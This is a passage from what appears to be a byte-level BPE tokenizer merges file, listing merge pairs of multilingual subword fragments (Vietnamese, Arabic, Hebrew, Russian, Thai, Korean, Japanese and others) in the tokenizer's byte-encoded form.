+Ġà ´ +Ġô ng +Ġ×Ķ ×ķ +ĠاÙĦÙĬ ÙĪÙħ +ĠtÃŃ nh +г а +Ġph òng +Ġ Äĥn +Ġع اÙħ +Ġv á»ĭ +lar ını +r ÃŃa +Ġt Ỽi +ĠÄij ưá»Ŀng +Ġgi Ỽi +Ġb ản +Ġc ầu +Ġnhi ên +Ġb á»ĩnh +Ġth ưá»Ŀng +Ġ×IJ ×Ļף +ĠÄij á»ģ +Ġh á»ĩ +Ġ×Ļש ר×IJ׾ +Ġqu á +ĠÐĹ Ð° +ãģ® ãģ§ãģĻãģĮ +ĠÐŁ ÑĢи +Ġph ần +ĠÙĪ ÙĦا +ĠlỼ n +Ġtr á»ĭ +Ġcả m +Ġм о +Ġd ùng +ĠاÙĦ Ùī +ĠعÙĦÙĬ Ùĩ +ĠìŀĪ ìĬµëĭĪëĭ¤ +ÙĬ ÙĤ +ĠÙĤ بÙĦ +Ġho ặc +ĠØŃ ÙĬØ« +Ġ à¸Ĺีà¹Ī +Ġغ ÙĬر +ĠÄij ại +Ġsá»ij ng +нÑĭ ми +Ġth ức +Ġפ ×Ļ +ĠÄiji á»ĩn +ãģª ãģĭãģ£ãģŁ +Ġgi ải +Ġv ẫn +Ġи Ñħ +Ġö nce +Ġv áºŃy +Ġmu á»ijn +Ġ ảnh +à¹ĥà¸Ļ à¸ģาร +ĠQu á»ijc +Ġk ế +׳ ×IJ +Ġס ×Ļ +Ġy êu +ãģ® ãģĭ +ĠÄij ẹ +ĠÄijẹ p +Ġch ức +Ġy ıl +ĠTür kiye +d é +ĠÙĤ اÙĦ +Ġd á»ĭch +ĠolduÄŁ u +Ġch á»įn +Ġت Ùħ +หà¸Ļ ึà¹Īà¸ĩ +ãģķãĤĮ ãģŁ +Ġph áp +ìĽ Ķ +Ġti á»ģn +ãģĹ ãģ¾ãģĹãģŁ +Ġש ׾×IJ +ÙĦ Ø© +Ġ׾פ ׳×Ļ +Ġ×ij ×Ļת +ĠH Ãł +ĠØŃ ت +ĠØŃت Ùī +Ġ×¢ ×ķ×ĵ +Ġn ó +Ġth áng +à¹Ģลืà¸Ń à¸ģ +ר ×Ķ +Ġt Äĥng +Ġcá i +Ġtri á»ĥn +Ġ×IJ×ķת ×ķ +ìłģ ìĿ¸ +ĠC ông +Ġ׾×Ķ ×Ļ×ķת +Ġг ода +и Ñİ +Ġب عض +Ġ à¸ģาร +èī¯ ãģĦ +ÙĪ Øª +Ġli ên +ĠÐĿ о +ĠÐĿ е +çļĦ ãģª +ĠÙħ ت +ĠÑĤак же +ĠкоÑĤоÑĢ Ñĭе +Ġ×Ļ ×ĵ×Ļ +Ġtr á»įng +ãĤµ ãĤ¤ãĥĪ +ìłģ ìľ¼ë¡ľ +Ġt áºŃp +Ġש ׾×Ļ +íķĺ ê²Į +Ġt Ãłi +ĠÐ ¯ +Ġr á»ĵi +ا Ùĥ +Ġth ương +Ġ×Ķ ×ĸ×Ķ +ĠÙĪ ÙħÙĨ +à¸Ĺีà¹Ī มี +Ġcu á»Ļc +Ġbü yük +ãģ¨ ãģĭ +Ġ×ij ×Ļ×ķתר +Ġl ần +Ġgö re +Ġtr ợ +Ġ×ĺ ×ķ×ij +ÑĤÑĮ ÑģÑı +Ġth á»ijng +Ġ׼ ש +Ġti êu +Ġ×ŀ×IJ ×ķ×ĵ +Ø Ľ +k Äħ +Ġ à¹ĥà¸Ļ +Ġv ấn +Ġש ׾×ķ +ĠÄij á»ģu +Ùģ Øª +Ġê²ĥ ìĿ´ +Ġh óa +ĠاÙĦع اÙħ +ĠÙĬ ÙĪÙħ +к ой +Ġbi á»ĩt +ÑģÑĤ о +Ġ×Ķ ×Ļ×ķ +à¸Ĺีà¹Ī à¸Īะ +Ġ×ĵ ×Ļ +Ġ×IJ ×ļ +Ġá n +ص ÙĪØ± +Ġtr ÃŃ +ĠÐŁÑĢ Ð¾ +Ġl á»±c +ãģĹãģ¦ ãģĦãģ¾ãģĻ +Ġb Ãłi +Ġ×ĸ ×IJת +Ġb áo +à¸ļ à¸Ļ +ĠëĮĢ íķľ +Ġti ế +Ġtiế ng +Ġb ên +ãģķãĤĮ ãĤĭ +s ión +Ġt ìm +×¢ ×ķ +m é +ни Ñı +ãģ» ãģ© +Ġà¹Ģà¸ŀ ราะ +ب Ø© +Ġë¶ Ħ +Ġ×IJ ×ĸ +à¸Ĺ à¹Īาà¸Ļ +ת ×Ŀ +Ġth êm +Ġho ạt +y ı +×ĸ ×ķ +Ġgi á»Ŀ +Ġb án +à¸Ĥ าย +Ñĩ а +Ġ à¹Ĩ +ĠاÙĦÙħ ت +ĠоÑĩ енÑĮ +Ġb ất +Ġtr ẻ +ÑĤ ÑĢ +ĠØ£ ÙĨÙĩ +ĠØ« Ùħ +Ġ׼ ×ŀ×Ķ +Ġkh ó +Ġr ằng +ĠÙĪ ÙģÙĬ +ни й +Ġho Ãłn +t ó +Ġ×IJ שר +ĠìĥĿ ê°ģ +Ñģ а +Ġ׼ ×ijר +ĠÑįÑĤ ом +lar ının +Ġch ưa +з и +Ġd ẫn +ĠÐļ ак +ج ÙĪ +ĠбÑĭ ло +ĠÙĬ ت +n ı +ÅĤ am +ĠÙĪÙĩ ÙĪ +×ij ×ķ +п и +ר ת +Ġqu á»ijc +ж д +ĠÄij Æ¡n +Ùĥت ب +Ġm ắt +ระ à¸ļ +ระà¸ļ à¸ļ +ĠÙĥ اÙĨت +Ġth ân +สิà¸Ļ à¸Ħà¹īา +×Ĵ ×Ļ +Ġph ương +à¹Ħมà¹Ī à¹Ħà¸Ķà¹ī +ĠìĦ ± +ĠC ác +Ġ×Ķ×ŀ ×ķ +ĠÑĤ ем +Ġ×ĵ ×ķ +à¸Ńะ à¹Ħร +Ġv Äĥn +ãģª ãģ®ãģ§ +ĠN á»Ļi +Ġ×¢ ×ķ +ãĤīãĤĮ ãĤĭ +Ġs áng +Ġgö ster +ãģĵãģ¨ ãĤĴ +Ġtaraf ından +Ġм а +ĠпоÑģл е +Ġ׳ ×Ļת +Ġ׳×Ļת ף +Ġл еÑĤ +Ġ׾ ׳×ķ +Ñģ Ñģ +Ġ×Ļ ×ķ +п е +ĠÙĪ ÙĦÙĥ +ĠÙĪÙĦÙĥ ÙĨ +Ġngo Ãłi +ĠÄij á»ĭa +r zÄħd +dz iaÅĤ +ĠÙħ ر +иÑĤÑĮ ÑģÑı +Ġ×IJ×Ĺר ×Ļ +Ġ׾ ׼׾ +à¸Ĥ à¹īà¸Ńม +à¸Ĥà¹īà¸Ńม ูล +Ġб ол +Ġбол ее +جÙħ ع +л еÑĤ +Ġl á»ĭch +ĠÙħ Ø«ÙĦ +Ġ그리 ê³ł +Ġth ứ +ĠdeÄŁ il +ÙĪ ØŃ +Ġש׾ ×ļ +ĠÙħ ØŃÙħد +Ġn ếu +ĠÄij á»ķi +Ġv ừa +Ġm á»įi +Ġо ни +Ġl úc +ĠÙĬ ÙĥÙĪÙĨ +ì§ Ī +Ġש׾ ׳×ķ +ĠÐĶ Ð¾ +Ġש ׳×Ļ +ล ิ +×IJ פשר +Ġs ức +ê¶ Į +Ġ ứng +à¹Ħมà¹Ī มี +Ø·ÙĦ ب +ĠÑĩ ем +Ġch uyên +Ġth ÃŃch +Ġ×ķ ×Ļ +íķ © +ĠÙħ صر +д о +ĠÄij ất +Ġch ế +à¸Ĭ ืà¹Īà¸Ń +Ġìĭ ł +ĠØ¥ ذا +Ġر ئÙĬس +Ġש ×Ļש +Ġgiả m +Ñģ ка +lar ında +Ġs ợ +ĠtÃŃ ch +ĠÙĦ ÙĥÙĨ +Ġب Ùħ +×¢ ×ķ×ij +×¢×ķ×ij ×ĵ +ÅĤÄħ cz +ları na +Ġש ×Ŀ +ĠÙĦ ت +Ġש×Ķ ×ķ×IJ +t ów +Ġëĭ¤ 른 +ĠØ£ Ùĥثر +ãģ® ãģ§ãģĻ +׼ ×Ļ×Ŀ +ĠolduÄŁ unu +ãģĭ ãģª +ãĤĤ ãģĨ +ÙĬ ØŃ +Ġnh ìn +Ġngh á»ĩ +ãģ«ãģª ãģ£ãģ¦ +п а +Ġquy ết +ÙĦ ÙĤ +t á +Ġlu ôn +ĠÄij ặc +Ġ×IJ ר +Ġtu á»ķi +s ão +ìĻ ¸ +ر د +ĠبÙĩ ا +Ġ×Ķ×Ļ ×ķ×Ŀ +×ķ ×ķ×Ļ +ãģ§ãģĻ ãģŃ +ĠÑĤ ого +Ġth á»§ +ãģĹãģŁ ãģĦ +ر ÙĤ +Ġb ắt +г Ñĥ +Ġtá» Ń +ÑĪ Ð° +Ġ à¸Ľà¸µ +Ġ×Ķ×IJ ×Ŀ +íı ¬ +ż a +Ġ×IJת ×Ķ +Ġn á»Ļi +Ġph ÃŃ +ĠÅŁek ilde +Ġl á»Ŀi +d ıģı +Ġ׼×IJ ף +Ġt üm +Ġm ạnh +ĠM ỹ +ãģĿ ãĤĵãģª +Ġnh á»ı +ãģª ãģĮãĤī +Ġb ình +ı p +à¸ŀ า +ĠÄij ánh +ĠÙĪ ÙĦ +ר ×ķת +Ġ×IJ ×Ļ×ļ +Ġch uyá»ĥn +Ùĥ ا +ãĤĮ ãĤĭ +à¹ģม à¹Ī +ãĤĪ ãģı +ĠÙĪ ÙĤد +íĸ Īëĭ¤ +Ġn Æ¡i +ãģ«ãĤĪ ãģ£ãģ¦ +Ġvi ết +Ġà¹Ģà¸ŀ ืà¹Īà¸Ń +ëIJĺ ëĬĶ +اد ÙĬ +ĠÙģ Ø¥ÙĨ +ì¦ Ŀ +ĠÄij ặt +Ġh Æ°á»Ľng +Ġx ã +Ġönem li +ãģł ãģ¨ +Ġm ẹ +Ġ×ij ×Ļ +Ġ×ĵ ×ijר +Ġv áºŃt +ĠÄij ạo +Ġdá»± ng +ĠÑĤ ом +ĠÙģÙĬ Ùĩا +Ġج ÙħÙĬع +Ġthu áºŃt +st ÄĻp +Ġti ết +Ø´ ÙĬ +Ġе Ñīе +ãģĻãĤĭ ãģ¨ +ĠmÃł u +ĠÑįÑĤ ого +Ġv ô +ĠÐŃ ÑĤо +Ġth áºŃt +Ġn ữa +Ġbi ến +Ġn ữ +Ġ׾ ׼×Ŀ +×Ļ ×Ļף +Ġس ت +ĠÐŀ ÑĤ +Ġph ụ +ê¹Į ì§Ģ +Ġ׾ ×ļ +Ġk ỳ +à¹ĥ à¸Ħร +Ġg ây +ĠÙĦ ÙĦÙħ +Ġtụ c +ت ÙĬÙĨ +Ġtr ợ +Ġ׾ פ×Ļ +Ġb á»ij +ĠÐļ а +ĠÄij ình +ow Äħ +s ında +Ġkhi ến +s ız +Ġк огда +ס ׾ +ĠбÑĭ л +à¸Ļ à¹īà¸Ńย +обÑĢаР· +Ġê²ĥ ìĿ´ëĭ¤ +ëĵ¤ ìĿĢ +ãģ¸ ãģ® +Ġà¹Ģม ืà¹Īà¸Ń +Ġph ục +Ġ׊׾ק +Ġh ết +ĠÄij a +à¹Ģà¸Ķà¹ĩ à¸ģ +íĺ ķ +l ÃŃ +ê¸ ī +Ġع دد +ĠÄij á»ĵ +Ġg ần +Ġ×Ļ ×ķ×Ŀ +Ġs Ä© +ÑĢ Ñıд +Ġquy á»ģn +Ġ×IJ ׾×IJ +Ùĩ Ùħا +׳ ×Ļ×Ķ +׾ ×ķת +Ġ×Ķר ×ij×Ķ +Ġti ên +Ġal ın +Ġd á»ħ +人 ãģĮ +но Ñģ +л ÑģÑı +ĠÄij ưa +ส าว +иÑĢов ан +Ġ×ŀס פר +×Ĵ ף +Ġki ến +ĠÐ ¨ +p é +б Ñĥ +ов ой +б а +ĠØ¥ ÙĦا +×IJ ׾×Ļ +Ġx ây +Ġb ợi +Ġש ×ķ +人 ãģ® +×§ ×Ļ×Ŀ +à¹Ģà¸Ķ ืà¸Ńà¸Ļ +Ġkh á +Ġ×ķ ׾×Ķ +×ĵ ×ķת +Ġ×¢ ×ij×ķר +Ġبش ÙĥÙĦ +ĠÙĩÙĨا Ùĥ +ÑĤ ÑĢа +Ġ íķĺëĬĶ +ร à¸Ńà¸ļ +owa ÅĤ +h é +Ġdi á»ħn +Ġ×Ķ ×Ľ×ľ +ĠØ£ س +Ġch uyá»ĩn +ระ à¸Ķัà¸ļ +ĠNh ững +Ġ×IJ ×Ĺת +ĠØŃ ÙĪÙĦ +л ов +׳ ר +Ġ×ķ ׳ +Ġch Æ¡i +Ġiç inde +ÑģÑĤв Ñĥ +Ġph á»ij +ĠÑģ Ñĥ +ç§ģ ãģ¯ +Ġch ứng +Ġv á»±c +à¹ģ à¸Ń +Ġl áºŃp +Ġtừ ng +å°ij ãģĹ +ĠNg uy +ĠNguy á»ħn +ĠÙģÙĬ Ùĩ +Ġб а +×Ļ ×Ļת +Ġ×ľ×¢ ש×ķת +Ġ×ŀ ׼ +Ġnghi á»ĩm +Ġм ного +Ġе е +ëIJĺ ìĸ´ +Ġl ợi +Ġ׾ ׾×IJ +Ġ׼ ף +Ġch ÃŃ +ãģ§ ãģ® +×Ĺ ×ķ +ש ×ķ×Ŀ +Ġ×ŀ ר +ĠÐĶ Ð»Ñı +Å ģ +Ġ׼×IJ שר +ĠM á»Ļt +ĠÙĪØ§ÙĦ ت +ĠìĿ´ 룰 +ÅŁ a +Ġchi ến +Ġaras ında +Ġ×ij ×IJתר +ãģķãĤĮ ãģ¦ãģĦãĤĭ +Ø´ ÙĥÙĦ +Ġt ượng +Ġت ت +ĠC ó +Ġb á»ı +Ġtá»ī nh +Ġkh ÃŃ +ĠпÑĢ Ð¾ÑģÑĤ +ĠпÑĢоÑģÑĤ о +ĠÙĪ ÙĤاÙĦ +Ġgi áo +ĠN ếu +×IJ ×ŀר +×¢×ł×Ļ ×Ļף +íİ ¸ +Ùĩد Ùģ +ĠB á»Ļ +Ġb Ãłn +Ġng uyên +Ġgü zel +ส าย +ì² ľ +×ŀ ×ķר +Ġph ân +ס פק +×§ ×ij׾ +ĠاÙĦÙħ تØŃ +ĠاÙĦÙħتØŃ دة +ائ د +Ġ×IJ ×ŀר +Ġki ÅŁi +ì¤ Ģ +Ġtr uyá»ģn +ĠÙĦ Ùĩا +ĠÐľ а +à¸ļริ ษ +à¸ļริษ ั +à¸ļริษั à¸Ĺ +Ġש ׳×Ļ×Ŀ +Ġмен Ñı +ÅŁ e +Ġdi á»ĩn +Ġ×IJ׳ ×Ĺ׳×ķ +k ü +Ġc á»ķ +Ġm á»Ĺi +w ä +Ùħ ÙĬ +Ġhi á»ĥu +ëĭ ¬ +Ġ×Ķ ×Ĺ׾ +Ġt ên +Ġki á»ĩn +ÙĨ ÙĤÙĦ +Ġv á»ĩ +×ĵ ת +ĠÐłÐ¾ÑģÑģ ии +л Ñĥ +ĠاÙĦع ربÙĬØ© +ĠØ· رÙĬÙĤ +Ġ×Ķ×ij ×Ļת +Ñģ еÑĢ +Ġм не +ä u +Ġtri á»ĩu +ĠÄij á»§ +Ġר ×ij +ت ÙĩÙħ +à¸ĭ ี +Ġì§Ģ ê¸Ī +li ÅĽmy +د عÙħ +ãģł ãĤįãģĨ +Ñģки е +Ġh á»ıi +Ġ×§ ×ķ +ÑĢÑĥ Ñģ +ÙĨ ظر +ãģ® ãĤĤ +Ġ×Ķ ×Ľ×Ļ +ĠìĽ IJ +ÙĪ Ùĩ +ĠÙĪ Ùİ +ĠB ạn +п лаÑĤ +Ġ×ŀ ×ŀש +лÑİ Ð± +ĠнÑĥж но +Ġth ư +ãģ µ +ãģı ãĤīãģĦ +ر Ø´ +ר ×ķ×Ĺ +ĠÙĬ تÙħ +Ġצר ×Ļ×ļ +Ġph á +ม à¸Ńà¸ĩ +Ġ×ij×IJ ×ķפף +Ġcả nh +Ġíķľ ëĭ¤ +Ġ×Ķ×ŀ ת +à¸ķà¹Īาà¸ĩ à¹Ĩ +มี à¸ģาร +Ñģки Ñħ +ĠÐĴ Ñģе +Ġا ÙĪ +ج ÙĬ +ãģĵãģ¨ ãģ¯ +Ġd Ãłi +Ġh á»ĵ +èĩªåĪĨ ãģ® +à¹Ħ หà¸Ļ +ëĵ¤ ìĿĦ +ĠV Äĥn +Ġд аж +Ġдаж е +Ñĭ ми +лаÑģ ÑĮ +ÙĬ ÙĪÙĨ +ÙĨ ÙĪ +c ó +ãģĹãģ¦ ãģĦãģŁ +ãģł ãģĭãĤī +طاÙĦ ب +Ġc á»Ńa +п ÑĢоÑģ +ãģªãģ© ãģ® +รุ à¹Īà¸Ļ +Ġchi ếc +л Ñĭ +ĠÑıвлÑı еÑĤÑģÑı +Ġn á»ķi +ãģ® ãģĬ +Ġ×IJת ×Ŀ +ĠëķĮ문 ìĹIJ +à¸ģล าà¸ĩ +ĠbaÅŁ ka +ìĦ Ŀ +ĠÑĨ ел +Ùģ ÙĤ +ãģ«ãĤĪ ãĤĭ +ÙĤ ا +Ġçı kar +Ġcứ u +Ø· ا +Ġש ת +à¹Ĥ à¸Ħ +Ġ×ŀ ׾ +Ġ×Ķ ×¤×¨ +Ġг де +ĠØ® Ø· +åīį ãģ« +c jÄĻ +Ġ׊ש×ķ×ij +ר×Ĵ ×¢ +Ġkho ảng +ĠÄij á»Ŀi +ĠÐł е +Ġо на +Ġ×IJ ׳×ķ +ãģ® ãģ« +ĠاÙĦذ ÙĬÙĨ +кÑĥ п +ãĤµ ãĥ¼ãĥ +ãĤµãĥ¼ãĥ ĵ +ãĤµãĥ¼ãĥĵ ãĤ¹ +в ал +г е +Ġgi ữa +ĠKh ông +ĠâĹ ĭ +à¸ģล ุà¹Īม +ĠÙħÙĨ ذ +à¸Ń à¹Īาà¸Ļ +ĠÑģп оÑģоб +ĠÄij á»Ļi +Ġdi ÄŁer +Ġ à¸ĸà¹īา +Ùħ Ø«ÙĦ +Ġ×Ķ×IJ ×Ļ +Ġد ÙĪÙĨ +ÙĬر اÙĨ +Ñī и +بÙĨ اء +ĠØ¢ خر +ظ Ùĩر +Ġ×ij ׼ +ĠاÙĦÙħ ع +ãĥ Ĵ +Ġt ất +Ġm ục +ĠdoÄŁ ru +ãģŁ ãĤī +Ġס ×ķ +Ġx ác +ร à¸Ń +ĠcÄĥ n +Ġон л +Ġонл айн +Ġk ý +Ġch ân +Ġ à¹Ħมà¹Ī +اØŃ Ø© +r án +׳×Ļ ×Ļ×Ŀ +Ġ×ij ף +ĠÐ ĸ +à¸ķร à¸ĩ +д Ñĭ +Ġs ắc +ÙĦ ت +ãĥŃ ãĥ¼ +ĠÙĦ ÙĨ +Ġר ×ķ +Ġd Æ°á»Ľi +à¹Ģ à¸ĺ +à¹Ģà¸ĺ à¸Ń +e ÄŁi +Ġ×ķ ש +ĠÙĦ Ø£ +Ġg ặp +Ġc á»ij +ãģ¨ ãģ¦ãĤĤ +رÙĪ Ø³ +Ġ׾×Ķ ×Ļ +Ġë³ ¸ +ä¸Ĭ ãģĴ +Ġm ức +Ñħ а +Ġìŀ ¬ +à¸ī ัà¸Ļ +ÑĢÑĥ ж +Ġaç ık +ÙĪ Ø§ÙĦ +Ġ×ĸ ×ŀף +人 ãģ¯ +ع ÙĬÙĨ +Ñı Ñħ +Ġ×Ĵ×ĵ ×ķ׾ +ר ×ķ×ij +g ó +ëĿ¼ ê³ł +Ġark adaÅŁ +ÙĨ شر +Ġгод Ñĥ +ĠболÑĮ ÑĪе +ãģ¡ãĤĩ ãģ£ãģ¨ +Ġcâ u +Ġs át +íĶ ¼ +Ġti ến +íķ´ ìķ¼ +ĠÙĪ Ø£ÙĨ +à¸Ļ าà¸Ļ +Ġ×ij×IJ×ŀ צע +Ġ×ij×IJ×ŀצע ×ķת +Ġ׾ ר +Ġqu ản +ĠÙĪØ§ÙĦ Ø£ +Ġ×IJ×ķת ×Ķ +Ġìĸ´ëĸ ¤ +Ġê²ĥ ìĿĢ +ØŃس ÙĨ +Ġm ất +à¸Ħ ูà¹Ī +ãĥ¬ ãĥ¼ +ĠÐĶ Ð° +Ġol ması +Ġthu á»Ļc +׳ ×Ĺ +íĨ ł +Ġsö yle +ãģĿãģĨ ãģ§ãģĻ +Ġت ÙĥÙĪÙĨ +л ÑĥÑĩ +׾ ×Ļ×ļ +ĠØ£ ØŃد +ли ÑģÑĮ +ĠвÑģ его +Ġ×Ķר ×ij +Ġëª » +o ÄŁ +oÄŁ lu +ĠìĦ ł +Ġк аÑĢ +à¸łà¸² à¸Ħ +e ÅĦ +Ġ à¸ģà¹ĩ +Ġa ynı +Ġb Ãł +ãģªãĤĵ ãģ¦ +Ġ모 ëĵł +ÙĤر ار +ãģĹãģª ãģĦ +ĠÐĴ о +ĠÙĪÙĩ ÙĬ +ни ки +ãĤĮ ãģŁ +Ġchu ẩn +ר ×¢ +Ùģ Ø±ÙĬÙĤ +ãĤĴ åıĹãģij +ĠÄij úng +б е +׼ ×ķ×Ĺ +п Ñĥ +Ġ×ķ ×Ĵ×Ŀ +×ŀ ׳×Ļ +íĸ ¥ +צ ×Ļ×Ŀ +à¸ĭ ิ +Ùĩ ÙĨ +н ем +Ġ×ij×ij ×Ļת +ر ع +Ġ ส +ĠÄIJ Ãł +íķĺ ëĭ¤ +Ġ ấy +×Ĺ ×ķ×ĵ +×Ĺ×ķ×ĵ ש +ĠÑĩеÑĢ ÐµÐ· +Ñĥ л +ĠB ình +Ġê²ĥ ìĿĦ +Ġ×Ĵ ר +ä»ĺ ãģij +×Ĺ׾ ×§ +Ġت ÙĦÙĥ +à¹ĥส à¹Ī +sz Äħ +ÙĤ اÙħ +د ÙĪØ± +ĠÙģ ÙĤØ· +Ġh ữu +Ġмог ÑĥÑĤ +Ġg á»įi +Ġ×§ ר +à¸Īะ มี +ت ÙĤدÙħ +Ġع بر +Ġ׾×Ķ ×Ŀ +ĠÑģам о +ס ×ĵר +Ġc Ãłng +r ÃŃ +Ġìŀ ¥ +ëĵ¤ ìĿĺ +ĠÙĦ Ùĥ +п оÑĢÑĤ +Ġkh ả +ĠÑģеб Ñı +׳ ף +Ġد ÙĪØ± +Ġm ợ +Ġcâ y +Ġf ark +Ġfark lı +а ÑİÑĤ +Ġtr á»±c +wiÄĻks z +Ġthu á»ijc +Ġت ØŃت +ت ÙĦ +ов Ñĭе +ëĤ ł +Ġв ам +بÙĦ غ +Ġê°Ļ ìĿĢ +íĮ IJ +ÙĦ ب +Ġnas ıl +Ġод ин +м ан +ĠعÙĦÙĬ Ùĩا +б и +Ġפ ש×ķ×ĺ +×ijר ×Ļ +Ġש ׳×Ķ +Ġëı Ħ +ĠÄIJ ại +Ġ×IJ×ķת ×Ŀ +ĠاÙĦØŃ ر +Ġб о +à¸Ī ุà¸Ķ +Ġr õ +ĠdeÄŁi ÅŁ +Ġëĭ ¨ +ĠÑģлÑĥÑĩ а +ĠÑģлÑĥÑĩа е +Ġ×IJ׳ ש×Ļ×Ŀ +×ĵ ×£ +ש×ij ת +Ġש׾ ׼×Ŀ +Ġch ú +nik ów +Ġtan ı +Ġcá o +ĠÄij á +Ġ×IJ ×ĵ×Ŀ +Ġê° ķ +Ġnhi á»ĩm +Ġ׾ ס +Ġ×Ľ×ª ×ij +Ġ×Ķס פר +ĠÄij Äĥng +Ġë ijIJ +à¸ľ ิ +à¸ľà¸´ ว +ج ا +Ġê° IJ +ر Ø£ +ست خدÙħ +ãģ«ãģªãĤĬ ãģ¾ãģĻ +Ġtá» · +×ĺ ×ķר +г овоÑĢ +Ġв оÑģ +ĠÙħÙĨ Ùĩا +иÑĢов аÑĤÑĮ +ĠÄij ầy +׳ ×Ĵ +ĠÙħ ÙĪ +ĠÙħ ÙĪÙĤع +ר׼ ×Ļ +ت Ùı +ëª ¨ +Ġת ×ķ +ÙĬا Ùĭ +à¹ĥ à¸Ķ +ãĤĬ ãģ¾ãģĻ +à¸Ńยูà¹Ī à¹ĥà¸Ļ +ĠØ£ ÙĪÙĦ +ĠØ£ خرÙī +Ġc ư +ص ار +×ŀ׊ש×ij +б ÑĢа +ÅĦ ski +б ÑĢ +ĠÙĬ Ùı +à¸ģ ิà¸Ļ +Ġch á»ijng +Ùħ Ùı +Ġ à¸Ħืà¸Ń +Ġت ÙĨ +t ÃŃ +y Äĩ +Ġm ạng +Ùģ ÙĪ +Ġdü nya +×§ ר×IJ +Ġ×§ ׾ +ĠØŃ اÙĦ +c ÃŃa +Ġà¹Ģ รา +Ġר ×ķצ×Ķ +Ġá p +ë° ķ +ا ÙĤØ© +ни Ñİ +Ġ×IJ ׾×ķ +Ġ×ŀס ×ķ +ãģ§ãģ¯ ãģªãģı +Ġtr ả +Ġ×§ שר +mi ÅŁtir +Ġl ưu +Ġh á»Ĺ +ĠбÑĭ ли +Ġl ấy +عÙĦ Ùħ +Ġö zel +æ°Ĺ ãģĮ +Ġ×ĵ ר×ļ +Ùħ د +s ını +׳ ×ķש×IJ +r ów +Ñĩ еÑĢ +êµIJ ìľ¡ +ĠÐľ о +л ег +ĠV Ỽi +วัà¸Ļ à¸Ļีà¹ī +ÑİÑī ие +ãģĬ ãģĻ +ãģĬãģĻ ãģĻ +ãģĬãģĻãģĻ ãĤģ +ëı ħ +Ġ×Ļ×Ķ ×Ļ×Ķ +×ŀ ×ĺר +Ñı ми +Ġl á»±a +ĠÄij ấu +à¹Ģส ียà¸ĩ +Ġt ương +ëĵ ± +ĠÑģÑĤ аÑĢ +à¹ĥ à¸ļ +ว ัà¸Ķ +Ġİ stanbul +Ġ à¸Īะ +à¸ķ ลาà¸Ķ +Ġب ÙĬ +à¹ģà¸Ļ ะ +à¹ģà¸Ļะ à¸Ļำ +س اعد +Ġب Ø£ +Ġki á»ĥm +ØŃ سب +à¸Ĭั à¹īà¸Ļ +Ġ×ķ ×¢×ķ×ĵ +ов ÑĭÑħ +оÑģ нов +Ġtr Æ°á»Łng +צ ×ij×¢ +ĠÃŃ t +Ġk ỹ +cr é +Ñı м +êµ ° +ãģĮ ãģªãģĦ +ÙĬÙĦ Ø© +ãĥķ ãĤ£ +ر Ùī +ĠÙĬ جب +Ġ×IJ ×£ +Ġc á»±c +ãĤīãĤĮ ãģŁ +Ġ à¸ľà¸¹à¹ī +Ġ à¸Ń +lar ımız +Ġkad ın +Ġê·¸ ëŀĺ +Ġê·¸ëŀĺ ìĦľ +ĠëĺIJ ëĬĶ +ĠÄij ả +ĠÄijả m +Ġ×IJ ×ķ×ŀר +Ġy ếu +ci Äħ +ciÄħ g +Ġt á»ij +Ġש×IJ ׳×Ļ +Ġdz iaÅĤa +Ñī а +ĠÄij Ãłn +s ına +ãģĵãĤĮ ãģ¯ +Ġ×ij ׾×Ļ +Ġ×ij ×Ļשר×IJ׾ +л оÑģÑĮ +Ġgi ữ +ê° IJ +ÑĢ Ð¾Ð½ +تج ار +г лав +в ин +Ġh ạn +Ġyapı lan +ب س +Ġ à¸ŀรà¹īà¸Ńม +ê´Ģ 리 +mÄ±ÅŁ tır +b ü +r ück +ĠBaÅŁkan ı +ĠÙĦ ÙĬس +Ġs Æ¡ +à¸Īัà¸ĩ หว +à¸Īัà¸ĩหว ัà¸Ķ +د اء +Ġ×Ķ ×Ľ +v ÃŃ +ש ×IJר +Ġh Æ°á»Łng +Ġb óng +ĠCh ÃŃnh +Äħ c +à¹Ģà¸ģีà¹Īยว à¸ģัà¸ļ +Ġtá» © +Ġtứ c +ĠÑĨ веÑĤ +Ġt á»iji +ĠnghÄ© a +ÙĦا عب +د ÙĦ +Ġפע ×Ŀ +h ör +à¸Ĭ ุà¸Ķ +à¸ŀ ู +à¸ŀู à¸Ķ +п аÑģ +ĠÅŁ u +Ġt Æ°á»Łng +خار ج +Ġâ m +ĠинÑĤеÑĢ ÐµÑģ +ен нÑĭÑħ +×IJ ׳×Ļ +بد Ø£ +ëĿ¼ ëĬĶ +ì¹ ´ +æĸ¹ ãģĮ +ли в +Ġ à¸Ħà¸Ļ +ער ×ļ +à¸Ĥà¸Ńà¸ĩ à¸Ħุà¸ĵ +п ад +Ġc ạnh +ĠëĤ ¨ +ĠÄij âu +Ġbi á»ĥu +ãĤĤ ãģĤãĤĭ +׾ ×Ĵ +Ġ สำหรัà¸ļ +Ġxu á»ijng +ס ×ķ +Ġذ ات +ĠÐľ е +ع اÙĦÙħ +×IJ ס +ب ÙĬØ© +Ø´ ا +и ем +ĠNg ưá»Ŀi +íĺ ij +Ñģл ов +Ġп а +Ġm ẫu +ĠпÑĢоÑĨ еÑģÑģ +ĠNh Ãł +пÑĢо из +пÑĢоиз вод +à¸łà¸²à¸¢ à¹ĥà¸Ļ +Ġ à¸ļาà¸Ĺ +×ŀ ׳×ķ +ĠоÑĢг ан +רצ ×ķ +×ķ×ŀ ×Ļ×Ŀ +Ġyaz ı +Ġd ù +ãĥ¬ ãĥ³ +ÙĪÙĦ ÙĬ +ย ู +Ġtr ò +à¹Ģà¸ŀ ลà¸ĩ +Ġ×ŀ ׾×IJ +à¸ķ ล +à¸ķล à¸Ńà¸Ķ +ĠÄij ạt +Ġ×Ĺ×ĵ ש +p óÅĤ +Ġ×ŀ ×ĵ×Ļ +ujÄħ c +×ŀ׳×Ķ ×ľ +Ġש×ij ×ķ +Ġ×Ķ×ŀש פ×ĺ +Ġ×IJ ׾×Ķ +ĠÙĪ Ø°ÙĦÙĥ +à¹Ģà¸ŀ ราะ +ĠÄijo Ãłn +Ġíķ¨ ê»ĺ +Ġd ục +Ø´ ت +Ġ ula +Ġula ÅŁ +Ġqu ý +Ġ×Ķ ×Ĵ×ĵ×ķ׾ +à¸ķัà¹īà¸ĩ à¹ģà¸ķà¹Ī +Ġש ר +Ø´ Ùĩد +׳ ש×Ļ×Ŀ +à¸ŀ ล +رÙĪ Ø§ +ãĤĮ ãģ¦ +Ġн иÑħ +Ġдел а +ãģ§ãģį ãģªãģĦ +ÅĤo ż +×IJ ×Ĺר +ì ½Ķ +ãĤ¢ ãĥĥãĥĹ +د 